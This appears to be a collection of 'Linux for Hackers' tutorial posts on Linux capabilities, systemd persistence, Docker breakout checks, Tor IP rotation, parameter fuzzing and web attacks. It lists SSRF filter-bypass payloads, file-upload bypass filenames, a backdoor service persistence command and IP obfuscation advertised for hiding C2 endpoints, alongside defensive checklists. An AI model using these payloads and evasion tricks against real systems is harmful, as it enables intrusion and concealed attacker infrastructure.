🧠 Linux for Hackers – Day 21
📍 Linux Capabilities & Exploitation (Beyond SUID)

Today we dig into Linux capabilities — a granular alternative to SUID — and why misusing them can lead to powerful escalation vectors.

🔹 What are capabilities?
They break root privileges into discrete rights (e.g., CAP_NET_ADMIN, CAP_SYS_ADMIN, CAP_SETUID) that can be attached to files so that processes executing those files gain specific privileges without full root.

🔹 Why they matter to hackers
Capabilities like cap_dac_read_search, cap_net_bind_service, or cap_sys_admin can let an attacker bypass file restrictions, bind low ports, mount filesystems, or otherwise act like root — all without a SUID binary.

🔹 Quick commands

# Find files with capabilities
getcap -r / 2>/dev/null

# Check a specific file
getcap /usr/bin/ping

# Grant/remove caps (TEST ONLY)
sudo setcap cap_net_raw+ep /usr/bin/ping
sudo setcap -r /usr/bin/ping

🔹 Attack patterns to study
➖ cap_net_bind_service on a binary used to host a stealthy backdoor on port 80.
➖ cap_dac_read_search allowing reading otherwise restricted files.
➖ cap_sys_admin on a replaceable binary → serious system compromise.

🔹 Defensive checklist
➖ Audit capabilities: getcap -r /.
➖ Ensure capable binaries are owned by root and not writable by untrusted users.
➖ Use FIM + AppArmor/SELinux and prefer distro-packaged capabilities.
➖ Remove unnecessary capabilities with setcap -r.

🧠 Linux for Hackers – Day 22
📍 Advanced Persistence: systemd timers, user services & kernel modules

Today we cover advanced persistence attackers use and how to detect them: systemd user/system services and timers, rc.local/init scripts, autostart .desktop entries, kernel modules & DKMS, plus bootloader/firmware vectors.

Quick highlights:

➕ User-level systemd units (~/.config/systemd/user) + timers are stealthy and persistent.

➕ System-wide units in /etc/systemd/system/ give root persistence when writable.

➕ Kernel modules (insmod, DKMS) provide deep persistence but require root and are risky.

➕ GUI autostart entries and /etc/rc.local remain useful on many systems.

⚡️ Commands to practice:

systemctl --user enable --now backdoor.service
systemctl list-timers --all
getcap -r /  # (to look for capabilities discussed earlier)
lsmod; dmesg

Defense: monitor unit dirs, timer lists, module inserts, and use FIM/auditd.

📣 Weird Endpoint Behavior — What it tells you

Observed responses for GET /res-api/<ID>/...:

• /res-api/<ID>/qwertyasdf → 404 Not Found
• /res-api/<ID>/ → 403 Forbidden
• /res-api/<ID>/?anyparam → 200 OK

🧠 What this pattern suggests
➕ status is a public sub-resource (returns data).
➕ Unknown subpaths return 404 — normal routing.
➕The base path without query → 403 (auth required / forbidden).
➕Adding any query param to the base path flips it to 200 OK — indicates the backend treats the presence of query string differently (possible routing, auth bypass, or fallback behavior).

⚠️ Why this is interesting (attack surface)
➕Auth/Access bypass: If /?anyparam returns 200 while / is 403, a parameter-driven bypass might let unauthenticated users access resources.
➕Logic differences: The app may route requests differently when a query string is present (different middleware, different handler). That discrepancy can reveal misconfigurations.
➕Hidden behavior: Could be leftover debug/feature flags, permissive caching layer, or an API gateway quirk.

🛠 Quick tests to run (ethically, with permission)
➕ Try different params: ?a=1, ?debug=1, ?preview=true — see if content changes.
➕ Test HTTP methods: GET, POST, PUT, HEAD on /res-api/<ID>/?anyparam.
➕ Inspect headers returned for 200 vs 403 (cookies, auth, server, x-powered-by).
➕ Check status response for sensitive fields (IDs, emails, tokens).
➕ Attempt parameter-based escalation: ?id=<other-id>, ?user=admin.
➕ Try path normalization or encoding: /res-api/%3CID%3E/?anyparam or trailing slashes.
➕ Use Burp Repeater + Intruder to fuzz params & headers; grep for differences.
➕ Test whether query param bypass works for sensitive endpoints (write/delete actions) — only on authorized test targets.

🛡 How developers should fix this
▫️Normalize request handling: same auth logic for path/ and path/? variants.
▫️Ensure middleware/auth runs for all route variants (with or without query params).
▫️Add consistent canonicalization (redirect or 403) and document expected behaviour.
▫️Audit API gateway/proxy rules for query-string based routing.

🐧 Tor IP Changer Setup Guide
Automate IP rotation for penetration testing and privacy

🔗 Repo: github.com/isPique/Tor-IP-Changer

🔧 Step 1: Start Tor Service
First, ensure Tor is installed and running as a background service:

sudo apt install tor          # Install Tor
sudo systemctl start tor      # Start Tor service
sudo systemctl status tor     # Verify it's running

Tor runs on SOCKS port 9050 by default
Use systemctl restart tor if you encounter connectivity issues

⚡️ Step 2: Configure Tor IP Changer
The Python script automates IP rotation by signaling Tor's control port.

1- Clone the repository:

git clone https://github.com/isPique/Tor-IP-Changer.git

2- Navigate to the project directory:

cd Tor-IP-Changer

3- Install required libraries:

pip install -r requirements.txt

4- Run the script:

sudo python3 IP-Changer.py

Control Port 9050 allows external tools to request new circuits (IP changes)
The script uses signal NEWNYM command to obtain a new exit node

🔄 Step 3: Route Traffic with ProxyChains
ProxyChains redirects any application's traffic through Tor.

🔸Edit /etc/proxychains4.conf:

dynamic_chain
proxy_dns
socks5 127.0.0.1 9050

⚡️ Usage Example:

proxychains nmap -sT target.com
proxychains firefox example.com

Works with most CLI and GUI applications
Prevents DNS leaks by routing DNS queries through Tor

💡 Pro Tips
➕ Check your IP: proxychains curl https://icanhazip.com
➕ Avoid rapid rotation: Tor may throttle requests faster than every 10 seconds
➕ Combine with VPNs or additional proxies for advanced chaining (see proxychains.conf)

⚠️ Important Notes
➕ Use only for authorized testing and legal privacy purposes
➕ Tor exit nodes may be blocked by some services
➕ No tool guarantees perfect anonymity

🧠 Linux for Hackers – Day 23
📍 Containers & Docker

Containers share the host kernel — misconfigs are high-impact.
Understand container fundamentals (Docker), common misconfigurations, and how attackers abuse containers for privilege escalation and lateral movement. Includes detection and defensive advice. All commands and exploits should be tested only in authorized lab environments.

Quick checks:

cat /etc/os-release
ls -la /var/run/docker.sock
cat /proc/self/cgroup

- If /var/run/docker.sock is mounted → huge risk (can spawn host-root containers).

🔸 Key Docker components:
⚡️ dockerd — Docker daemon (runs on host, usually as root)
⚡️/var/run/docker.sock — Docker socket used to control Docker (highly privileged)
⚡️ Images and containers (docker images, docker ps)

🔸 Enumeration from Inside a Container
If you get a shell inside a container, enumerate to find breakout vectors:

# Basic container info
cat /etc/os-release
ps aux
env | sort
ls -la /proc/1/root  # check host mount points

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

- If docker.sock is accessible, you can control the Docker daemon from inside the container (host-level impact).

⚠️ Avoid --privileged, don’t mount host root or docker.sock, run as non-root.

🛑 Some SSRF Payloads

Classic Bypasses:
➕ http://00000
➕ http://2130706433 (127.0.0.1 as decimal)
➕ http://0x7f.1 (hex + dot notation)
➕ http://metadata (short & sweet)

Why it works:
🔹 Blacklists often miss decimal/hex IP encoding
🔹 00000 → 0 → localhost in many parsers
🔹 metadata avoids 169.254.169.254 filters

Pro Tips:
➕ Try http://0x7f000001 (hex full IP)
➕ Use http://[::]:80 for IPv6 bypass
➕ Mix case: MetaData or MeTadAta

SSRF blacklists are the easiest to bypass.
Most regex filters fail on even basic encoding tricks.

🛠 What is IPFuscation?

IPFuscation is a technique to represent IP addresses in different formats like hexadecimal, decimal, and octal, which systems often interpret the same as standard dot-decimal notation. This can break regex rules for command-line logging or obfuscate cleartext strings to C2 locations.

⚡️ Using IPFuscator
Using the tool is straightforward:

Clone the repository:

git clone https://github.com/vysecurity/IPFuscator

Run the script:

python ipfuscator.py 127.0.0.1

The tool will output the IP in multiple formats:

Decimal: 2130706433
Hexadecimal: 0x7f000001
Octal: 017700000001
Mixed Formats: 0x7f.0x0.0.01 or 0177.0.0.01
Padded Formats: 0x000000000007f.0x000000000000000000000000000000.0x0000.0x0000000000000000000000001

You can use these outputs in commands like ping or for configuring C2 endpoints.

This tool fits perfectly with your theme of evasion techniques.

🔑 Why It Works
SSRF blacklists are often easy to bypass because they rely on simple pattern matching for strings like "127.0.0.1" or "localhost." Using alternative IP representations (decimal, octal, hex), obfuscation, or URL parsing tricks can easily break this logic

🎯 Why a 500 Error is a Bug Hunter's Signal

A 500 Internal Server Error can be a goldmine for bug bounty hunters and penetration testers. It often indicates a server struggling with unexpected input, pointing you directly to a parameter worth investigating. Here's how to find and fuzz these parameters effectively.
An HTTP 500 Internal Server Error is a generic "catch-all" response that indicates the server encountered an unexpected condition that prevented it from fulfilling the request . Unlike a 404 (Not Found) or a 403 (Forbidden), a 500 error often suggests that your input reached a backend processing function that then crashed, making it a prime indicator for potential vulnerabilities .
Common triggers include missing or malformed parameters, type mismatches (e.g., passing a string where an integer is expected), or improper server configuration . These unhandled exceptions can be symptoms of deeper issues like insecure deserialization or SQL injection .

🔎 Discovering Parameters with Fuzzing
The first step is to find which parameters cause the server to react. You can use tools like ffuf or gobuster to brute-force parameter names.

🔸 Example using ffuf:

ffuf -w /path/to/parameter_wordlist.txt -u "https://target.com/endpoint?FUZZ=test" -mc all -ac

🔸 Example using gobuster fuzz:

gobuster fuzz -u "https://target.com/endpoint?FUZZ=test" -w /path/to/parameter_wordlist.txt

In these commands, the FUZZ keyword is replaced by words from your wordlist . The -mc all option in ffuf tells it to match all HTTP status codes, and -ac enables auto-calibration to filter out common false positives .

A well-chosen wordlist is crucial. Start with a list of common parameter names like id, user, file, data, token, callback, url, etc .

🚀 Fuzzing Promising Parameters
Once you identify a parameter that triggers a 500 error, the next step is to fuzz it with a wide range of payloads to understand its vulnerability.

🔸 Refined ffuf Command for Fuzzing Values:

ffuf -w /path/to/payload_wordlist.txt -u "https://target.com/endpoint?VULNERABLE_PARAM=FUZZ" -mr "error|exception" -ac -mc 200,500

➕ -w specifies your payload wordlist.
➕ -mr lets you match on specific text in the response (like error messages), which is useful even if the status code changes.
➕ -mc 200,500 tells ffuf to show you responses with either a 200 (OK) or 500 (Error) status .

✅ What to Look For:
🔸 Different Error Messages: A change in the error text can reveal information about the backend technology (e.g., database drivers, template engines) or the nature of the flaw.

🔸 Unexpected 200 Responses: Sometimes a specific payload will stop the error and return a 200 status code, indicating a successful bypass or exploitation.

🔸 Dramatic Changes in Response Length: This is a strong signal that your payload has significantly altered the application's behavior .

💡 Pro Tips for Efficient Hunting
Filter Wisely: While it's common to filter out 500 errors as noise, this is exactly what you shouldn't do in this hunt. Use -mc all or explicitly include 500 in your matches .

🔸 Go Beyond GET: Remember to fuzz POST, PUT, and PATCH requests as well, sending your fuzzing payloads in the request body.

🔸 Context-Aware Payloads: Use specialized payload lists for different contexts like SQLi, Command Injection, Path Traversal, and SSRF. A parameter that errors on a basic integer might be highly vulnerable to a SQL injection payload.

⚡️ Finding a 500 error is like finding a signpost that says "Poke Here." By methodically discovering parameters and then fuzzing them with intelligent payloads, you can transform a generic server error into a critical security finding.

🖥 Day 24 – Host-based Monitoring: auditd & osquery

Host logs reveal attacks that network sensors miss — kernel auditing + osquery give powerful host visibility.

Quick checks:

auditctl -l
ausearch -m EXECVE
osqueryi "SELECT pid,name,path,cmdline FROM processes LIMIT 5;"

If auditd isn't running or there are no osquery schedules → low host visibility (detection blindspot).

⚠️ Enable auditd, deploy osquery packs, forward results to SIEM, and baseline outputs for detection.

🎓 File Upload Bypass Techniques 🎓
Advanced File Upload Security Bypasses

🔥 The Challenge
Many web apps implement weak file upload validation that's surprisingly easy to bypass. Here's how attackers slip malicious files past basic filters.

🛠 Common Weak Defenses:
- Content-Type Checking Only - Trusts image/jpeg header
- File Extension Filtering - Blocks .php but misses tricks
- Client-Side Validation - Bypassed with proxy tools
- Magic Bytes Only - Doesn't check actual content

⚡️ Advanced Bypass Methods
🔸1. Content-Disposition Double Extensions

Content-Disposition: form-data; name="file"; filename="image.jpg.php"

👉🏻 Server sees "image.jpg" but executes as ".php"

🔸2. Case Manipulation
- file.pHp
- file.PHP
- file.PhP

🔸 3. Special Characters & Encoding
- file.php%00.jpg
- file.php.jpg (parser confusion)
- file.phphpp (double extension)

🔸4. MIME Type Spoofing
- Content-Type: image/jpeg for actual PHP file
- Add valid image headers + PHP payload

🎯 Detection & Exploitation
Look For These Red Flags:
- Files with <% or <?php tags in upload directories
- Accessible .php files in image folders
- Double extensions in filenames
- Mixed case file extensions

Magic Bytes Limitation:
- Detects file type, not malicious content
- Attackers prepend valid image headers to PHP files

🛡 Secure Implementation Guide
1- Server-Side File Type Verification - Don't trust client headers
2- Whitelist Extensions - Only allow specific safe types
3- Remove Execute Permissions - Upload directories should not run code
4- File Renaming - Generate random filenames, discard originals
5- Content Scanning - Detect malicious code patterns
6- Virus Scanning - For uploaded files

💡 Pro Tips
1- Test with mixed case extensions (pHp, AsPx)
2- Try Unicode/normalization attacks
3- Check for parser inconsistencies
4- Always test with Burp/Postman to bypass client-side checks

🖥 Day 25 – Linux Forensics & IR

Preserve volatile evidence first, collect key artifacts, build a timeline, hash everything, and hand over to IR for deeper analysis.

Quick checks:

ps aux > /tmp/ir_ps.txt
ss -tunap > /tmp/ir_ss.txt
lsof -nP > /tmp/ir_lsof.txt

If the host is rebooted or powered off → volatile memory and active network state are lost (major evidence gap).

⚠️ Do triage from a separate admin host, avoid reboots, capture memory only in controlled labs, and hash/record chain-of-custody.
